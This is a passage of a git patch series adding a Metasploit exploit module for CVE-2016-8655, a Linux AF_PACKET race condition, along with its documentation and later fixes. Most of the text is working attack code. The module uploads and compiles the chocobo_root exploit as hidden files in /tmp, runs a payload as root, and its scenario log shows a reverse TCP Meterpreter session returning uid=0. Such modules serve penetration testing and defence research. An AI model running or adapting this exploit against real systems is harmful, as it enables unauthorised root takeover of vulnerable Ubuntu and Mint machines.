%q{ + This module exploits a race condition and use-after-free in the + packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in + the Linux kernel to execute code as root (CVE-2016-8655). + + The bug was initially introduced in 2011 and patched in 2016 in version + 4.4.0-53.74, potentially affecting a large number of kernels; however + this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels + 4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as + Linux Mint. + + The target system must have unprivileged user namespaces enabled and + two or more CPU cores. + + Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation + may crash the kernel. + + This module has been tested successfully on Linux Mint 17.3 (x86_64); + Linux Mint 18 (x86_64); and Ubuntu 16.04.2 (x86_64) with kernel + versions 4.4.0-45-generic and 4.4.0-51-generic. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rebel', # Discovery and chocobo_root.c exploit + 'Brendan Coles' # Metasploit + ], + 'DisclosureDate' => 'Aug 12 2016', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => + [ + [ 'AKA', 'chocobo_root.c' ], + [ 'EDB', '40871' ], + [ 'CVE', '2016-8655' ], + [ 'BID', '94692' ], + [ 'URL', 'http://seclists.org/oss-sec/2016/q4/607' ], + [ 'URL', 'http://seclists.org/oss-sec/2016/q4/att-621/chocobo_root_c.bin' ], + [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2016-8655/chocobo_root.c' ], + [ 'URL', 'https://bitbucket.org/externalist/1day_exploits/src/master/CVE-2016-8655/CVE-2016-8655_chocobo_root_commented.c' ], + [ 'URL', 'https://usn.ubuntu.com/3151-1/' ], + [ 'URL', 'https://www.securitytracker.com/id/1037403' ], + [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c' ] + ], + 'DefaultTarget' => 0)) + register_options [ + OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '600' ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + ] + end + + def timeout + datastore['TIMEOUT'].to_i + end + + def base_dir + datastore['WritableDir'].to_s + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def upload_and_chmodx(path, data) + upload path, data + cmd_exec "chmod +x '#{path}'" + end + + def upload_and_compile(path, data) + upload "#{path}.c", data + output = cmd_exec "gcc -o #{path} #{path}.c -lpthread" + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile" + end + + cmd_exec "chmod +x #{path}" + register_file_for_cleanup path + end + + def exploit_data(file) + path = ::File.join Msf::Config.data_directory, 'exploits', 'CVE-2016-8655', file + fd = ::File.open path, 'rb' + data = fd.read fd.stat.size + fd.close + data + end + + def live_compile? + return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + + if has_gcc? + vprint_good 'gcc is installed' + return true + end + + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' + end + end + + def check + version = kernel_release + unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic/ + vprint_error "Linux kernel version #{version} is not vulnerable" + return CheckCode::Safe + end + vprint_good "Linux kernel version #{version} is vulnerable" + + arch = kernel_hardware + unless arch.include? 'x86_64' + vprint_error "System architecture #{arch} is not supported" + return CheckCode::Safe + end + vprint_good "System architecture #{arch} is supported" + + cores = get_cpu_info[:cores].to_i + min_required_cores = 2 + unless cores >= min_required_cores + vprint_error "System has less than #{min_required_cores} CPU cores" + return CheckCode::Safe + end + vprint_good "System has #{cores} CPU cores" + + unless userns_enabled? + vprint_error 'Unprivileged user namespaces are not permitted' + return CheckCode::Safe + end + vprint_good 'Unprivileged user namespaces are permitted' + + CheckCode::Appears + end + + def exploit + if check != CheckCode::Appears + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + + unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + # Upload exploit executable + executable_name = ".#{rand_text_alphanumeric rand(5..10)}" + executable_path = "#{base_dir}/#{executable_name}" + if live_compile? + vprint_status 'Live compiling exploit on system...' + upload_and_compile executable_path, exploit_data('chocobo_root.c') + else + vprint_status 'Dropping pre-compiled exploit on system...' + upload_and_chmodx executable_path, exploit_data('chocobo_root') + end + + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" + upload_and_chmodx payload_path, generate_payload_exe + + # Launch exploit + print_status "Launching exploit (Timeout: #{timeout})..." + output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout + output.each_line { |line| vprint_status line.chomp } + end +end From 4574de76e7b72f4efc6062448ff3f312487e4eb4 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 7 May 2018 07:11:42 +0000 Subject: [PATCH 2/5] Add documentation --- .../local/af_packet_chocobo_root_priv_esc.md | 93 +++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md diff --git a/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md b/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md new file mode 100644 index 000000000000..cb6ea4dbb593 --- /dev/null +++ b/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md @@ -0,0 +1,93 @@ +## Description + + This module exploits a race condition and use-after-free in the + `packet_set_ring` function in `net/packet/af_packet.c` (`AF_PACKET`) in + the Linux kernel to execute code as `root` (CVE-2016-8655). + + The bug was initially introduced in 2011 and patched in 2016 in version + 4.4.0-53.74, potentially affecting a large number of kernels; however + this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels + 4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as + Linux Mint. + + The target system must have unprivileged user namespaces enabled and + two or more CPU cores. + + Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation + may crash the kernel. + + +## Vulnerable Application + + This module has been tested successfully on: + + * Linux Mint 17.3 (x86_64) + * Linux Mint 18 (x86_64) + * Ubuntu 16.04.2 (x86_64) + + With kernel versions: + + * 4.4.0-45-generic + * 4.4.0-51-generic + + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. `use exploit/linux/local/af_packet_chocobo_root_priv_esc` + 4. `set SESSION [SESSION]` + 5. `check` + 6. `run` + 7. You should get a new *root* session + + +## Options + + **SESSION** + + Which session to use, which can be viewed with `sessions` + + **WritableDir** + + A writable directory file system path. (default: `/tmp`) + + **TIMEOUT** + + Race timeout (seconds). (default: `600`) + + **COMPILE** + + Options: `Auto` `True` `False` (default: `Auto`) + + Whether the exploit should be live compiled with `gcc` on the target system, + or uploaded as a pre-compiled binary. + + `Auto` will first determine if `gcc` is installed to compile live on the system, + and fall back to uploading a pre-compiled binary. + + +## Scenarios + + ``` + [*] Started reverse TCP handler on 172.16.191.188:4444 + [*] Writing '/tmp/.iDLrwN3S4.c' (24885 bytes) ... + [*] Writing '/tmp/.rMIvkKT' (207 bytes) ... + [*] Launching exploit (Timeout: 600)... + [*] Sending stage (853256 bytes) to 172.16.191.209 + [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.209:38530) at 2018-05-07 03:07:21 -0400 + [+] Deleted /tmp/.iDLrwN3S4.c + [+] Deleted /tmp/.iDLrwN3S4 + [+] Deleted /tmp/.rMIvkKT + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 172.16.191.209 + OS : Ubuntu 16.04 (Linux 4.4.0-51-generic) + Architecture : x64 + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + meterpreter > + ``` + From 2331a610d6f4babb107fb8be6ee593afbe91653c Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 7 May 2018 07:15:17 +0000 Subject: [PATCH 3/5] Update documentation --- .../exploit/linux/local/af_packet_chocobo_root_priv_esc.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md b/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md index cb6ea4dbb593..7549e64a9520 100644 --- a/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md +++ b/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md @@ -70,6 +70,10 @@ ## Scenarios ``` + msf5 > use exploit/linux/local/af_packet_chocobo_root_priv_esc + msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [*] Writing '/tmp/.iDLrwN3S4.c' (24885 bytes) ... [*] Writing '/tmp/.rMIvkKT' (207 bytes) ... From cd0161ada2e34b337f132e3ec0b5127133a533f0 Mon Sep 17 00:00:00 2001 From: Tim W Date: Mon, 21 May 2018 16:46:42 +0800 Subject: [PATCH 4/5] fix gcc for shell_reverse_tcp payloads on ubuntu --- .../linux/local/af_packet_chocobo_root_priv_esc.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb index b5a4dd78fdbc..acb9b57a2059 100644 --- a/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb +++ b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb @@ -93,7 +93,12 @@ def upload_and_chmodx(path, data) def upload_and_compile(path, data) upload "#{path}.c", data - output = cmd_exec "gcc -o #{path} #{path}.c -lpthread" + + gcc_cmd = "gcc -o #{path} #{path}.c -lpthread" + if session.type.eql? 'shell' + gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" + end + output = cmd_exec gcc_cmd unless output.blank? print_error output From 9e9dff8b6accf9a2fddb4ebd5f493d085a3c1a70 Mon Sep 17 00:00:00 2001 From: Tim W Date: Mon, 21 May 2018 16:47:09 +0800 Subject: [PATCH 5/5] fix file cleanup on failed exploitation --- .../exploits/linux/local/af_packet_chocobo_root_priv_esc.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb index acb9b57a2059..41a82628ea50 100644 --- a/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb +++ b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb @@ -83,7 +83,6 @@ def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data - register_file_for_cleanup path end def upload_and_chmodx(path, data) @@ -99,6 +98,7 @@ def upload_and_compile(path, data) gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd + rm_f "#{path}.c" unless output.blank? print_error output @@ -106,7 +106,6 @@ def upload_and_compile(path, data) end cmd_exec "chmod +x #{path}" - register_file_for_cleanup path end def exploit_data(file) @@ -194,5 +193,8 @@ def exploit print_status "Launching exploit (Timeout: #{timeout})..." output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout output.each_line { |line| vprint_status line.chomp } + print_status "Cleaning up #{payload_path} and #{executable_path}.." + rm_f executable_path + rm_f payload_path end end